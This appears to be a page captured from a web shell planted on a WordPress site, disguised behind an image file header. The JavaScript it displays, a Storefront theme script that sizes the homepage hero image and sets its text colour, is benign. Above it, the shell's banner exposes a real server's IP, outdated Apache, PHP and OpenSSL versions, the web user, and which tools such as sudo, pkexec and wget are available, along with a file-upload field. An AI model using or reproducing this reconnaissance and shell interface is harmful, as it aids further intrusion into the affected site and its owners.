????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.217 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/www.astacus.se/wp-content/themes/storefront/assets/js/ |
Upload File : |
/**
* homepage.js
*
* Handles behaviour of the homepage featured image
*/
( function() {
var homepageContent = '.page-template-template-homepage .type-page.has-post-thumbnail';
if ( ! jQuery( homepageContent ).length ) {
// Only apply layout to the homepage content component if it exists on the page
return;
}
/**
* Set the hero component dimensions and positioning
*/
function homepageContentDimensions() {
var windowWidth = jQuery( window ).width();
var offset = jQuery( '.site-main' ).offset();
// Make the homepage content full width and centrally aligned.
jQuery( homepageContent ).css( 'width', windowWidth ).css( 'margin-left', -offset.left );
}
/**
* On document ready
* Set hero content dimensions / layout
* Run adaptive backgrounds and set colors
*/
jQuery( document ).ready( function() {
homepageContentDimensions();
var img = jQuery( '.page-template-template-homepage .type-page.has-post-thumbnail' ).data( 'featured-image' );
img = img.replace( 'url(', '' ).replace( ')', '' ).replace( /\"/gi, '' );
var RGBaster = window.RGBaster;
RGBaster.colors( img, {
paletteSize: 1,
success: function( payload ) {
var rgb = payload.dominant;
var colors = rgb.match( /^rgb\((\d+),\s*(\d+),\s*(\d+)\)$/ );
// Get the average rgb value.
var overall = Math.round( ( ( parseInt( colors[1], 10 ) * 299 ) + ( parseInt( colors[2], 10 ) * 587 ) + ( parseInt( colors[3], 10 ) * 114 ) ) /1000 );
var r = colors[1];
var g = colors[2];
var b = colors[3];
var brightness = 1;
if ( overall > 230 ) {
brightness = 0; // Black.
} else {
brightness = 30; // White.
}
var newr = Math.floor( ( 255 - r ) * brightness );
var newg = Math.floor( ( 255 - g ) * brightness );
var newb = Math.floor( ( 255 - b ) * brightness );
jQuery( homepageContent + ', .page-template-template-homepage .type-page.has-post-thumbnail h1' ).css( 'color', 'rgb(' + newr + ', ' + newg + ', ' + newb + ')' );
jQuery( '.page-template-template-homepage .type-page.has-post-thumbnail .entry-title, .page-template-template-homepage .type-page.has-post-thumbnail .entry-content' ).addClass( 'loaded' );
if ( brightness >= 30 ) {
jQuery( '.page-template-template-homepage .type-page.has-post-thumbnail .entry-title, .page-template-template-homepage .type-page.has-post-thumbnail .entry-content' ).css( 'text-shadow', '0 4px 30px rgba(0,0,0,.9)' );
}
}
});
});
/**
* On window resize
* Set hero content dimensions / layout
*/
jQuery( window ).resize( function() {
homepageContentDimensions();
});
} )();